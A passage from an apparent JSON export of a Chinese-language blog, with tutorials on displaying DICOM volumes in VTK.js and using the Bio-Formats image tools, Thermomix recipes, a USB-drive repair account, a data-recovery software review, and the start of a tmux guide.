\u0026#39;vtk.js/Sources/Rendering/Core/Volume\u0026#39;; import vtkVolumeMapper from \u0026#39;vtk.js/Sources/Rendering/Core/VolumeMapper\u0026#39;; // 標準 VTK 程式架構 const fullScreenRenderer = vtkFullScreenRenderWindow.newInstance({ background: [0.1, 0.1, 0.1], // 背景顏色 }); const renderer = fullScreenRenderer.getRenderer(); const renderWindow = fullScreenRenderer.getRenderWindow(); // 建立 HttpDataSetReader const reader = vtkHttpDataSetReader.newInstance({ fetchGzip: true // 讀取 Gzip 壓縮的影像 }); const actor = vtkVolume.newInstance(); const mapper = vtkVolumeMapper.newInstance(); actor.setMapper(mapper); mapper.setInputConnection(reader.getOutputPort()); // 建立色彩與透明度函數 const ctfun = vtkColorTransferFunction.newInstance(); ctfun.addRGBPoint(0, 0, 0, 0); ctfun.addRGBPoint(255, 1.0, 1.0, 1.0); const ofun = vtkPiecewiseFunction.newInstance(); ofun.addPoint(50.0, 0.0); ofun.addPoint(255.0, 1.0); // 設定色彩與透明度函數 actor.getProperty().setRGBTransferFunction(0, ctfun); actor.getProperty().setScalarOpacity(0, ofun); // 設定影像載入器 reader.setUrl(`data/HttpDataSet/headsq.vti`).then(() =\u0026gt; { // 載入 HttpDataSet 格式的影像 reader.loadData().then(() =\u0026gt; { renderer.addVolume(actor); const interactor = renderWindow.getInteractor(); // 設定旋轉、縮放等動作時，畫面更新頻率 interactor.setDesiredUpdateRate(15.0); renderer.resetCamera(); // 設定 Camera 初始角度 renderer.getActiveCamera().zoom(1.3); renderer.getActiveCamera().elevation(70); renderWindow.render(); }); }); // ----------------------------------------------------- // 將一些變數儲存為全域變數，可讓開發者直接在瀏覽器中 // 查看變數內容，方便除錯。 // ----------------------------------------------------- global.source = reader; global.mapper = mapper; global.actor = actor; global.ctfun = ctfun; global.ofun = ofun; global.renderer = renderer; global.renderWindow = renderWindow; 完成之後，網頁的畫面不會有任何改變，不過載入的速度會快非常多（跟 XMLImageDataReader 比較起來，HttpDataSetReader 載入影像大約只需要一半的時間）。\n顯示 3D DICOM 影像 若要使用 VTK.js 顯示 3D 的 DICOM 影像，就必須把 DICOM 影像先轉為 HttpDataSet，雖然 Paraview 本身有支援 DICOM 的讀取器，但是似乎很容易出問題，所以建議可以先將 DICOM 影像使用 Bio-Formats 或 ImageJ 等軟體轉為 Tiff，再將 Tiff 以 Paraview 轉為 HttpDataSet。\nDICOM 轉為 Tiff 要將 DICOM 轉為 Tiff，可以直接使用 Bio-Formats 的指令工具來轉換：\n# 使用 Bio-Formats 直接將 DICOM 轉為 Tiff bfconvert -compression LZW /path/to/image.dcm /path/to/image.tiff Bio-Formats 雖然很方便，但是我自己測試的時候，發現轉出來的影像中，後設資料（metadata）的 voxel size 屬性怪怪的，所以後來又改用 ImageJ 加上 Bio-Formats 套件來轉，這樣可以保留比較多 DICOM 的後設資料，以下是以 ImageJ 轉換影像的 JavaScript 指令稿 convert.js：\n// 引入 ImageJ 套件 importClass(Packages.ij.IJ); // 使用 Bio-Formats 匯入 DICOM 影像 IJ.run(\u0026#34;Bio-Formats Importer\u0026#34;, \u0026#34;open=/path/to/image.dcm autoscale color_mode=Default rois_import=[ROI manager] view=Hyperstack stack_order=XYCZT\u0026#34;); // 以 Tiff 格式匯出 imp = IJ.getImage(); IJ.saveAs(imp, \u0026#34;Tiff\u0026#34;, \u0026#34;/path/to/image.tiff\u0026#34;); // 關閉影像 imp.close(); // 離開 ImageJ IJ.run(\u0026#34;Quit\u0026#34;); 只要在命令列執行這個 ImageJ 的指令稿，就可以將 DICOM 轉換為 Tiff（這裡我是使用 Fiji 版本的 ImageJ，安裝比較方便）：\n# 執行 ImageJ 指令稿 ImageJ-linux64 --ij2 --run convert.js Tiff 轉為 HttpDataSet 接著再將 Tiff 以 Paraview 轉為 HttpDataSet 格式：\n# 將 Tiff 影像檔轉換為 HttpDataSet 格式 pvpython -dr node_modules/vtk.js/Utilities/DataGenerator/vtk-data-converter.py --input /path/to/image.tiff --output dist/data/HttpDataSet 最後在修改一下 index.js 的影像路徑，即可將 DICOM 的影像內容顯示在網頁上了。\n發佈網頁 在開發完成之後，若要發佈完成的網頁，要先將程式編譯成釋出版本：\n# 將程式編譯成釋出版本 npm run build:release 然後再將 dist 目錄整個複製到網頁伺服器上面就可以了，另外也要注意正式伺服器上面的檔案路徑是否跟開發環境吻合，否則會出現找不到檔案的問題。\n參考資料 Research Gate ","permalink":"https://blog.gtwang.org/web-development/vtk-js-display-dicom-3d-volume-image-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 VTK.js 在網頁上顯示三維的 DICOM 生醫 volume 影像。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://kitware.github.io/vtk-js/index.html\"\u003eVTK.js\u003c/a\u003e 是 JavaScript 版本的 VTK 函式庫，架構與概念都跟傳統的 VTK 函式庫非常類似，而且功能也都非常齊全，用來再往業上顯示 3D 的科學或生醫影像非常好用。\u003c/p\u003e","title":"VTK.js 網頁顯示 DICOM 3D 生醫影像程式開發流程教學"},{"content":"本篇介紹如何使用美善品料理機，自己用糯米製作客家花生麻糬，現做現吃。\n傳統客家的喜宴上，在開始上菜之前都會有剛做好的花生麻糬可以吃，我小時候就最喜歡吃這種剛做好熱熱的花生麻糬，現在有了美善品料理機，隨時都可以自己在家現做花生麻糬。\n材料 以下是製作客家花生麻糬的材料：\n糯米 300 公克。 水 300 公克。 花生片適量。 冰糖適量。 基本上這些材料的份量都可以自由調整，糯米與水的比例是 1：1，想吃多一點的話就自己增加份量，而花生片與冰糖是用來打成花生粉與冰糖粉的，份量就看個人喜好自己調整比例，也可以一次多打一些慢慢用。\n美善品官方的食譜中也有花生麻糬，不過作法稍微有點不同，有興趣的人可以參考看看。\n作法 麻糬在製作時分為冰糖粉、花生粉與麻糬三部份，以下是三個部份的製作方式。\n冰糖粉 Step 1\n將冰糖到入主鍋，這裡我用的是紅冰糖。\nStep 2\n以美善品的 Turbo 模式/2秒，打三次，將冰糖打成冰糖粉。\n這就是打好的冰糖粉，粉末很細。\n將打好的冰糖粉倒出來備用。\n花生粉 Step 1\n將花生片倒入主鍋。\nStep 2\n以速度 7，打 5 秒鐘左右，即可打成這樣的花生粉。\n花生粉顆粒的大小每個人喜好不同，喜歡顆粒大一點的話可以降低美善品打的速度（速度 6 就會稍微大一點）。\n最後將打好的花生粉倒出來備用。\n麻糬 一般來說麻糬都是用圓糯米來製作，黏度會比較高，不過我在台南的米店都買不到圓糯米，只有長糯米可以買，所以就用長糯米來做，我感覺做出來也是很好吃。\n將洗好的糯米放入主鍋。\n加入水，水與糯米的比例為 1：1。\n以速度 10 打三分鐘，然後放置十分鐘左右，讓鍋子降溫。\n再次以速度 10 打三分鐘，打成糯米漿。\n將糯米漿倒在乾淨的大碗公之中，然後放進蒸鍋裡用小火蒸一小時。\n糯米漿蒸熟之後，就是麻糬了。\n將蒸好的麻糬趁熱取出。\n取適量的冰糖粉與花生粉放在盤子裡，比例可依照自己的喜好調整。\n將花生粉與冰糖粉混合均勻。\n用筷子稍微攪拌一下剛蒸好熱熱的麻糬。\n用兩隻筷子互相輔助，將熱熱軟軟的麻糬放入混合好的花生粉與冰糖粉中。\n在取熱麻糬的時候，用兩隻筷子互切是最方便的，不要用湯匙。另外取麻糬的筷子要獨立一雙，不要沾到花生與冰糖粉。\n由於麻糬放在花生粉與冰糖粉中，會慢慢出水，所以這種客家的麻糬都是要吃的時候，才將麻糬放進去，沾粉之後馬上吃，若還沒要吃的話不要先放，否則過個五分鐘左右就會開始濕濕的，口感就會比較沒那麼好。\n若在客家喜宴中，工作人員會先把一團團熱熱的麻糬放在大盤子裡，像這樣上頭先不要沾粉，客人要吃的時候，就用自己的筷子把整團麻糬裹上粉，再用筷子切來吃。\n將麻糬裹上花生與冰糖粉之後，切成小塊就可以吃了。\n剛做好熱熱的麻糬吃起來跟外面賣的完全不一樣，很軟很好吃，而且這樣現做現吃的熱麻糬可以不必用油，我是覺得更好吃，我小時候每次去喜宴一定都會吃。\n剛做好熱熱的麻糬阿玄也非常喜歡吃，邊吃邊問說還剩多少，很怕不夠吃。\n","permalink":"https://blog.gtwang.org/diy/thermomix-hakka-peanut-mochi-20191216/","summary":"\u003cp\u003e本篇介紹如何使用美善品料理機，自己用糯米製作客家花生麻糬，現做現吃。\u003c/p\u003e\n\u003cp\u003e傳統客家的喜宴上，在開始上菜之前都會有剛做好的花生麻糬可以吃，我小時候就最喜歡吃這種剛做好熱熱的花生麻糬，現在有了\u003ca href=\"/unboxing/thermomix-food-processor-tm5-unboxing-20191026/\"\u003e美善品料理機\u003c/a\u003e，隨時都可以自己在家現做花生麻糬。\u003c/p\u003e","title":"[美善品] 客家花生麻糬製作教學"},{"content":"本篇介紹如何使用 Bio-Formats 生醫影像函式庫，讀取或轉換各種影像，並取出後設資料（metadata）。\nBio-Formats 是一套生醫影像讀取與寫入函式庫，其底層以 Java 語言撰寫，可以獨立使用，其支援的影像格式非常多（140 種以上），有提供指令界面的指令稿，也有提供現成的 ImageJ、Fiji、Matlab、Octave 等軟體套件。\nBio-Formats 主要的用途就是在不同軟體之間轉換不同格式的影像，其作法就是將各種影像轉換成 OME data model，例如 OME-TIFF。\n命令列工具 Bio-Formats 所提供的命令列工具（command line tools）可以讓使用者以指令的方式執行。\n顯示影像內容與後設資料 showinf 指令可以用來顯示影像內容與後設資料（metadata）：\n# 顯示影像內容與後設資料（metadata） showinf image.dcm [略] Reading metadata 0002,0002 Media Storage SOP Class UID #1: 1.2.840.10008.5.1.4.1.1.2 0002,0003 Media Storage SOP Instance UID #1: 1.2.826.0.1.3680043.8.1055.1.20111102150758591.03296050.69180943 0002,0010 Transfer Syntax UID #1: 1.2.840.10008.1.2.4.91 0002,0012 Implementation Class UID #1: 1.2.826.0.1.3680043.8.1055.1 0002,0013 Implementation Version Name #1: dicomlibrary-100 0002,0016 Source Application Entity Title #1: DICOMLIBRARY 0008,0005 Specific Character Set #1: ISO_IR 100 0008,0008 Image Type #1: ORIGINALPRIMARYAXIALHELIX 0008,0012 Instance Creation Date #1: 20061012 0008,0013 Instance Creation Time #1: 091605.000000 0008,0016 SOP Class UID #1: 1.2.840.10008.5.1.4.1.1.2 0008,0018 SOP Instance UID #1: 1.2.826.0.1.3680043.8.1055.1.20111102150758591.03296050.69180943 0008,0020 Study Date #1: 20061012 0008,0022 Acquisition Date #1: 20061012 0008,0023 Content Date #1: 20061012 0008,0030 Study Time #1: 090258.000000 0008,0032 Acquisition Time #1: 085229.000000 0008,0033 Content Time #1: 085229.719000 0008,0060 Modality #1: CT 0008,0100 Code Value #1: CTABDOM 0008,0102 Coding Scheme Designator #1: XPLORE [略] 大部分的生醫影像在觀看時，都需要調整影像的色階，否則會看不出來實際的內容，若要自動調整影像色階，可以加上 -autoscale 參數：\n# 自動調整影像色階 showinf -autoscale image.dcm 如果只需要查看影像的後設資料（metadata），而不需要觀看實際的影內容，可以加上 -nopix 參數，可以跳過讀取影像資料的過程，加速執行速度：\n# 僅顯示後設資料（metadata），不讀取影像內容 showinf -nopix image.dcm 如果影像太大時，可以僅顯示其中部份的截面影像，節省記憶體與讀取時間：\n# 僅顯示第 0 張到第 5 張截面影像 showinf -range 5 image.dcm 如果影像解析度很高，也可以用 -crop 切割影像區域，只顯示部份影像，切割區域的設定方式為 x,y,width,height，其中 x 與 y 為切割區域的左上角座標，而 width 與 height則為切割區域的寬度與高度，例如：\n# 僅顯示部份區域 showinf -crop ,,256,256 image.dcm 有些影像會使用比較多的位元來儲存像素，加上 -fast 參數可以將影像轉為 8 位元的 RGB 影像，增加預覽速度（但精確度會下降）：\n# 快速預覽模式（轉為 8 位元 RGB 影像） showinf -fast image.dcm 轉換影像格式 bfconvert 指令可用來轉換各種影像格式，執行時直接指定輸入與輸出的檔案名稱即可，他會自動判斷檔案類型，轉換檔案格式：\n# 轉換影像格式 bfconvert input.dcm output.tiff 若只需要轉出特定時間點的影像，可以使用 -timepoint 參數並指定時間：\n# 僅轉出時間 0 的影像 bfconvert -timepoint input.dcm output.tiff 若只需要轉出特定頻道的影像，可以使用 -channel 參數並指定頻道編號：\n# 僅轉出頻道 0 的影像 bfconvert -channel input.dcm output.tiff 若只需要轉出特定截面的影像，可以使用 -z 參數並指定截面編號：\n# 僅轉出第 0 張截面影像 bfconvert -z input.dcm output.tiff 若要轉出部份的截面影像，可以使用 -range 參數並指定開始與結束的截面編號：\n# 僅轉出第 0 張到第 4 張截面影像 bfconvert -range 4 input.dcm output.tiff 若要切割影像區域，可以使用 -crop 參數，切割區域的設定方式為 x,y,width,height，其中 x 與 y 為切割區域的左上角座標，而 width 與 height則為切割區域的寬度與高度，例如：\n# 僅轉出部份影像區域 bfconvert -crop ,,256,256 input.dcm output.tiff bfconvert 預設轉出的影像都是沒有壓縮的，所以檔案大小會非常大，若要壓縮影像可以加上 -compression 參數並指定壓縮格式，例如：\n# 以 LZW 壓縮格式壓縮影像 bfconvert -compression LZW input.dcm output.tiff ImageJ 套件 Bio-Formats 有提供非常方便的 ImageJ 套件，只要從 Bio-Formats 網站上下載 ImageJ 的 JAR 套件檔案，然後在 ImageJ 主選單的「Plugins」中選擇「Install」安裝之後，即可使用。\n在 ImageJ 中以 Bio-Formats 匯入影像時，會先出現這個選項視窗，裡面有各種匯入選項可以調整。\n這就是以 Bio-Formats 將 DICOM 影像匯入 ImageJ 的樣子。\n記憶體不足錯誤 在處理比較大的影像時，有可能會出現記憶體不足的錯誤訊息：\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space [略] 遇到這種狀況，可以調整 Bio-Formats 的記憶體上限值環境變數 BF_MAX_MEM 的設定，將這個值調高一些（預設為 512m）：\n# 調整 Bio-Formats 的記憶體上限值 export BF_MAX_MEM=1024m 實務上可以將這一行設定直接寫在指令稿的開頭，這樣就可以讓整個指令稿都套用該設定。如果想要針對個別指令調整記憶體上限值，可以加在指令的開頭，例如：\n# 針對個別指令調整記憶體上限值 BF_MAX_MEM=1024m showinf -autoscale image.dcm ","permalink":"https://blog.gtwang.org/linux/bio-formats-reading-proprietary-microscopy-image-data-metadata-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 Bio-Formats 生醫影像函式庫，讀取或轉換各種影像，並取出後設資料（metadata）。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.openmicroscopy.org/bio-formats/\"\u003eBio-Formats\u003c/a\u003e 是一套生醫影像讀取與寫入函式庫，其底層以 Java 語言撰寫，可以獨立使用，其支援的影像格式非常多（140 種以上），有提供指令界面的指令稿，也有提供現成的 ImageJ、Fiji、Matlab、Octave 等軟體套件。\u003c/p\u003e","title":"Bio-Formats 生醫影像讀取、轉換函式庫使用教學"},{"content":"本篇記錄我的創見 USB 隨身碟壞掉之後，送修免費換新的過程記錄。\nUSB 隨身碟損壞狀況 今天我有一支專門用來備份 Linux 伺服器檔案的創見 USB 隨身碟突然壞掉，資料寫到一半的時候，突然就停住不動了，之後就完全無法掛載或讀寫，我查了 Linux 的系統記錄檔，出現一大堆的 I/O 錯誤訊息，通常出現這種狀況的時候，就代表隨身碟已經壞了。\n我嘗試用 GParted 磁碟分割軟體來看一下，但是完全無法讀寫隨身碟，連格式化都沒辦法，所以只能送修了。\n送修壞掉的 USB 隨身碟 若要送修創見的產品，首先到創見產品維修申請網頁，提出維修申請單。\n輸入產品的序號，USB 隨身碟的序號通常都會刻在隨身碟上面，輸入序號之後，就會自動出現產品型號的資訊。\n輸入個人基本資料。\n確認輸入的資料是否正確。\n將維修申請單列印出來。\n將申請單連同壞掉的隨身碟一起以郵局掛號寄回創見資訊維修中心。\n創見資訊維修中心的地址在申請單上面有寫，不想手寫的話，可以複製到 Word 印出來貼在信封上比較快。\n寄出之後，就完成送修的流程了，接著就等待維修結果。\nUSB 隨身碟維修結果 創見維修中心在收到送修的物品以及維修完成寄回時，都會發送 Email 通知信，所以可以很清楚掌握目前維修的狀態，大約過了一週左右，我就收到維修好的 USB 隨身碟了。\n創見寄回來的包裹包裝非常好，一個小小的 USB 隨身碟，用非常好的硬紙箱來裝。\n打開紙箱，裡面都是防撞的泡泡袋。\nUSB 隨身碟也用小的泡泡袋裝好。\n包裝那麼好，剛拿到的時候還以為是新的。\n最內層還有防靜電袋。\n這就是維修好的隨身碟，外觀看不出來有什麼變化。\n使用 GParted 磁碟分割軟體打開 USB 隨身碟檢查一下，看起來都恢復正常了。\n維修好的隨身碟可以正常使用，不過舊資料就不見了，所以平常重要資料還是要備份好。\n","permalink":"https://blog.gtwang.org/life/damaged-transcend-usb-flash-drive-20191202/","summary":"\u003cp\u003e本篇記錄我的創見 USB 隨身碟壞掉之後，送修免費換新的過程記錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"usb-隨身碟損壞狀況\"\u003eUSB 隨身碟損壞狀況\u003c/h2\u003e\n\u003cp\u003e今天我有一支專門用來備份 Linux 伺服器檔案的創見 USB 隨身碟突然壞掉，資料寫到一半的時候，突然就停住不動了，之後就完全無法掛載或讀寫，我查了 Linux 的系統記錄檔，出現一大堆的 I/O 錯誤訊息，通常出現這種狀況的時候，就代表隨身碟已經壞了。\u003c/p\u003e","title":"創見 USB 隨身碟壞掉維修過程記錄"},{"content":"本篇記錄我用美善品料理機，自己製作堅果黑芝麻、紅豆包子的過程。\n我每個禮拜天下午都要準備阿玄的晚餐，讓他帶著在交通車上面吃，這次打算做堅果黑芝麻包子以及紅豆包子，以下是製作過程記錄。\n材料 以下是 12 個包子的包子皮配方：\n有機中筋麵粉 460 公克。 二號砂糖 40 公克。 水 240 公克。 鹽 1/2 茶匙。 椰子油 2 茶匙。 2 茶匙乾酵母粉。 打碎的堅果半碗 油的部分可以使用自己喜歡的油品，而打碎的堅果則是可有可無，我剛好有一些綜合堅果（核桃、杏仁、夏威夷果、南瓜子等），就用美善品料理機以速度六打成堅果碎粒，加在包子皮中。\n餡料的部分則是使用預先製作好的奶油紅豆沙餡料以及黑芝麻餡料。\n作法 Step 1\n將水、乾酵母粉、二號砂糖、有機中筋麵粉、鹽放入美善品主鍋。\n在揉麵團的時候，可以加入一些額外的配料，這裡我加入半碗左右的堅果碎粒。（堅果也不可以加太多，不然麵團會散掉）\nStep 2\n用美善品揉麵團模式，揉一分鐘，然後靜置在主鍋中十分鐘再取出。\nStep 3\n將麵團取出後，整成球形，以保鮮膜蓋住，或是放在有蓋子的鍋子中，靜置十分鐘，讓它發酵。若是冬天氣溫較低的時候，可以放在電鍋中保溫，加速它發酵。\nStep 4\n將麵團分成 12 等分，以擀麵棍擀成周圍薄、中間厚的圓形包子皮。\nStep 5\n將奶油紅豆沙餡料或黑芝麻餡料以包子皮包起來，餡料要加多少就依照自己的口味來決定。\n只要事先把餡料準備好，就可以一次製作各種不同的包子。\nStep 6\n將烘培紙鋪在蒸鍋中，將包好的包子放在上面，每個包子之間至少要間隔五公分。\nStep 7\n包子放入蒸鍋之後，蓋上蓋子等待一小時，讓它發酵，如果天氣冷，可以稍微把鍋子加熱，幫助它發酵。\nStep 8\n經過一小時的發酵之後，以大火蒸大約 12 至 15 分鐘，一開始加熱的時候，包子可以不必取出，不過時間要從水滾的時候開始算。\nStep 8\n包子蒸好出籠之後，就可以吃了。\n這次包的包子有點失誤，包子皮有些地方太薄了，餡都快要爆出來了，不過自己吃是不影響。\n包子皮上面一點一點的就是我們加的堅果，打碎之後跟包子一起吃，營養更豐富。\n這次我大約花了兩個半小時的時間，嘗試同時製作六個黑芝麻包、六個紅豆包，外加兩個比薩，感覺時間配合得很成功，不過同時間做兩種料理真的非常趕。\n一開始先揉包子的麵團，包好包子之後，在等包子發酵的時間就去用美善品揉披薩餅皮的麵團，接著等比薩餅皮發酵的時間去準備比薩的料，把生玉米與毛豆蒸過，鴻喜菇用麻油炒過（備料的同時預熱烤箱），比薩料準備好之後，擀披薩餅皮、放入比薩料之後，送進烤箱。\n在烤披薩的時候，包子大概也發酵好了，一邊用烤箱一邊用蒸鍋，所以兩邊可以同時進行，不過時間要大約算一下，讓比薩出爐與包子出籠時間錯開，以免手忙腳亂。\n","permalink":"https://blog.gtwang.org/diy/thermomix-nuts-black-sesame-and-red-bean-buns-20191209/","summary":"\u003cp\u003e本篇記錄我用美善品料理機，自己製作堅果黑芝麻、紅豆包子的過程。\u003c/p\u003e\n\u003cp\u003e我每個禮拜天下午都要準備阿玄的晚餐，讓他帶著在交通車上面吃，這次打算做堅果黑芝麻包子以及紅豆包子，以下是製作過程記錄。\u003c/p\u003e","title":"[美善品] 堅果黑芝麻、紅豆包子製作記錄"},{"content":"本篇記錄我今天用美善品料理機，自己製作黑芝麻餡料的過程。\n黑芝麻餡是一種很常用的餡料，可用來製作黑芝麻麵包、黑芝麻包子等。以下是我用台灣西港的黑芝麻，從生的芝麻製作成芝麻餡料的過程記錄。\n材料 芝麻餡料的組成就是黑芝麻、奶油、糖這三項而已，比例大約是 4：1：1，不喜歡吃太甜的人，糖就少放一點，不喜歡奶油的人，可以換成椰子油，以下是我這次製作的配方。\n黑芝麻 300 公克。 奶油 35 公克。 椰子油 45 公克。 冰糖 60 公克。 這一個配方製作出來的芝麻餡比較乾，適合用在麵包或是包子，若要用在湯圓，油的比例要多一些。\n黑芝麻餡料的配方有好幾種，在美善品官方食譜的芝麻包與黑芝麻湯圓中也有不同的黑芝麻餡料配方，有興趣的人可以參考看看。\n作法 Step 1\n由於我是拿自己家種的黑芝麻來製作芝麻餡料，所以要先把生的芝麻炒熟，如果是買外面的熟芝麻，就可以不必炒。\n通常生的芝麻都是不洗的，直接下鍋炒，不過我自己還是習慣稍微洗一下再炒。\n炒芝麻就是拿比較厚的鍋子小火乾炒，一開始用中火，炒到比較熱的時候轉小火，炒到稍微有聽到芝麻爆開的聲音的時候，就差不多了，這就是炒好的芝麻。（炒芝麻的方式跟黑芝麻糖製作過程中的炒法相同）\nStep 2\n將炒熟的黑芝麻倒入美善品主鍋，以 Turbo 模式 2 秒研磨成芝麻粉。\n這是打成黑芝麻粉的樣子，這時候就可以聞到非常香的芝麻香氣。\nStep 3\n加入冰糖粉、奶油。\n我不喜歡奶油味太重，所以一半的奶油我改用椰子油，大家可以自己依照自己的喜好調整比例。\nStep 3\n混合餡料，如果加入的糖是顆粒冰糖，就要以高一點的速度打碎冰糖，如果直接用冰糖粉，就可以不用太快。\n再混合的過程中，餡料會黏在鍋壁，這時候用刮刀將餡料刮至底部，然後繼續混合。\n重複混合幾次，直到均勻。\nStep 4\n這樣就完成黑芝麻餡料了。\n這就是製作好的黑芝麻餡料，接下來就可以拿它來製作芝麻包子或麵包了。\n由於是自己要吃的芝麻餡料，選用材料都是很好的，黑芝麻用的是台灣西港的，加上安佳奶油與有機椰子油，做出來的芝麻餡料非常香、很好吃，才剛做好阿玄就衝過來吃沾在蓋子上的黑芝麻餡料。\n","permalink":"https://blog.gtwang.org/diy/thermomix-black-sesame-filling-20191209/","summary":"\u003cp\u003e本篇記錄我今天用美善品料理機，自己製作黑芝麻餡料的過程。\u003c/p\u003e\n\u003cp\u003e黑芝麻餡是一種很常用的餡料，可用來製作黑芝麻麵包、黑芝麻包子等。以下是我用\u003ca href=\"/agriculture/exposuring-sesame-sigang-tainan-20171203/\"\u003e台灣西港的黑芝麻\u003c/a\u003e，從生的芝麻製作成芝麻餡料的過程記錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[美善品] 黑芝麻餡料製作記錄"},{"content":"本篇記錄我今天用美善品料理機打派皮，自己製作蘋果派的過程。\n今天剛好家裡有一些蘋果，冬天到了打算製作成蘋果派來吃比較不會冷，小朋友也比較愛吃。蘋果派的製作方法在美善品官方食譜中就有，以下是參考官方食譜來製作蘋果派的過程。\nStep 1\n加入奶油、麵粉、水之後混合。\n由於我不喜歡奶油味太重，所以將奶油減少一些，以一些椰子油代替。\n冬天如果天氣太冷的時候，混合麵團時可能會變成這樣（奶油沒有融化），這時候可以調整一下美善品的溫度，設定成攝氏 40 度來混合，就可以輕鬆打成麵糰。\n這是混合好的麵糰。\nStep 2\n在桌上撒上一些麵粉，預防麵團黏在桌上，將麵團以擀麵棍感成圓形的派皮。\nStep 3\n將派皮鋪在烤盤上，派皮一定要整個派盤，周圍讓它高起來，如果不夠高的話，烤的時候蘋果的汁會流出去。\nStep 4\n將蘋果削皮、去籽之後切片，官方食譜的蘋果大約是一公斤，這裡我大概只用了半公斤的蘋果而已。\nStep 5\n將蘋果片平均鋪排在派皮上。\nStep 6\n撒上糖粉、奶油，若不想用奶油，也可以用椰子油代替。\nStep 7\n放入預熱好的烤箱，以攝氏 200 度烤 30 分鐘。\n這樣就完成一盤蘋果派了。\n第一次做蘋果派，看起來很成功。\n將蘋果派取下，放在木質的切菜板上。\n用刀子切一下，就可以吃了。\n這次由於派皮擀的不夠大片，有一側太低了，所以烤的時候蘋果汁流出來，造成有一側蘋果派黏在派盤上，所以取出的時候有一側就破掉了。\n這樣做出來的派皮很薄，非常好吃。\n這個蘋果派就是今天的早餐，阿玄吃了三片就說很飽了。\n","permalink":"https://blog.gtwang.org/diy/thermomix-apple-pie-20191207/","summary":"\u003cp\u003e本篇記錄我今天用美善品料理機打派皮，自己製作蘋果派的過程。\u003c/p\u003e\n\u003cp\u003e今天剛好家裡有一些蘋果，冬天到了打算製作成蘋果派來吃比較不會冷，小朋友也比較愛吃。蘋果派的製作方法在\u003ca href=\"/unboxing/thermomix-cookidoo-online-cookbook-registration-tutorial-20191019/\"\u003e美善品官方食譜\u003c/a\u003e中就有，以下是參考官方食譜來製作蘋果派的過程。\u003c/p\u003e","title":"[美善品] 蘋果派製作記錄"},{"content":"本篇介紹如何使用 EaseUS Data Recovery Wizard 13.0 免費檔案資料救援軟體，救回誤刪的檔案、文件或照片。\nEaseUS Data Recovery Wizard 是一套免費的檔案資料救援軟體，可以救回不小心刪除掉的檔案，其支援的檔案類型非常多，一般常見的文件、多媒體檔案都有支援，像照片還原就是大家最常用的功能之一。\n安裝 EaseUS Data Recovery Wizard EaseUS Data Recovery Wizard 13.0 的安裝過程比以往更精簡，安裝起來又更容易了，首先從它們的官方網站下載安裝檔。\n執行安裝檔之後，點選「立即安裝」即可開始進行安裝。\n安裝過程會先下載檔案，然後自動安裝，過程都是自動的，對於不熟悉電腦技術的人來說非常方便。\n安裝完成之後，點選「立即啟動」即可開始使用。\n救回刪除的檔案 EaseUS Data Recovery Wizard 支援多種儲存媒體，不管是誤刪的檔案存放在哪裡，都可以運用這套救援軟體來處理，記憶卡檔案救援就是這套軟體好用的功能之一。\n若要救回不小心刪除的檔案，首先要選擇誤刪檔案的所在位置，對儲存媒體進行掃描。\n掃描的過程分為兩階段，第一階段是快速掃描，馬上就會顯示出剛刪除的檔案，而第一階段的結果顯示出來之後，會自動接續第二階段的進階掃描，尋找更久以前被刪除的檔案以及磁碟分割區。\n由於進階掃描的過程非常久，在掃描的同時我們就可以先從目前已經找到的檔案中，看看有沒有自己想要救回的檔案，若找到需要的檔案，即可停止掃描。\n在 EaseUS Data Recovery Wizard 還可以直接預覽這些已經刪除的文件，確認內容是否是自己想要的。\n照片或是圖片檔案也都可以直接預覽，非常方便。\n選擇好想要恢復的檔案之後，接著再選擇恢復檔案的存放位置，就可以將誤刪的檔案救回了。\n整體而言 EaseUS Data Recovery Wizard 13.0 的使用者介面設計比以往更人性化，操作更方便、更直覺，對於不熟稔電腦操作的人來說，有了這套資料恢復軟體，要救回刪掉的檔案就容易許多了。\n","permalink":"https://blog.gtwang.org/useful-tools/easeus-data-recovery-wizard-free-13-review/","summary":"\u003cp\u003e本篇介紹如何使用 EaseUS Data Recovery Wizard 13.0 免費檔案資料救援軟體，救回誤刪的檔案、文件或照片。\u003c/p\u003e\n\u003cp\u003eEaseUS Data Recovery Wizard 是一套免費的檔案資料救援軟體，可以救回不小心刪除掉的檔案，其支援的檔案類型非常多，一般常見的文件、多媒體檔案都有支援，像\u003ca href=\"https://tw.easeus.com/file-recovery/free-shift-delete-file-recovery-software.html\"\u003e照片還原\u003c/a\u003e就是大家最常用的功能之一。\u003c/p\u003e","title":"EaseUS Data Recovery Wizard 13.0 免費檔案資料救援軟體"},{"content":"本篇介紹如何在 Linux 中使用 tmux 終端機管理工具，分割視窗、同時開啟多個終端機。\n傳統上在 Linux 中最常見的終端機管理程式是 screen，而後來又發展出 tmux 這個新的終端機管理工具，其功能更多，使用起來更方便。\n安裝 tmux 若是 Ubuntu Linux 可用 apt 安裝 tmux：\n# Ubuntu Linux 安裝 tmux sudo apt install tmux 若為 CentOS Linux 則可用 yum 安裝 tmux：\n# CentOS Linux 安裝 tmux sudo yum install tmux 安裝好之後，即可執行 tmux：\n# 執行 tmux tmux 進入 tmux 之後，畫面會像這樣，底部多了一條狀態列：\n基本觀念 當我們執行 tmux 指令時，就會建立一個新的 session，在一個 session 中可以建立多個 windows，而每個 window 又可以分割成多個 panes，在下方的狀態列中會顯示目前所處的 session 與 window 編號。\n在狀態列中最左側的編號是目前的 session 編號，接著是目前 session 之中所有的 windows 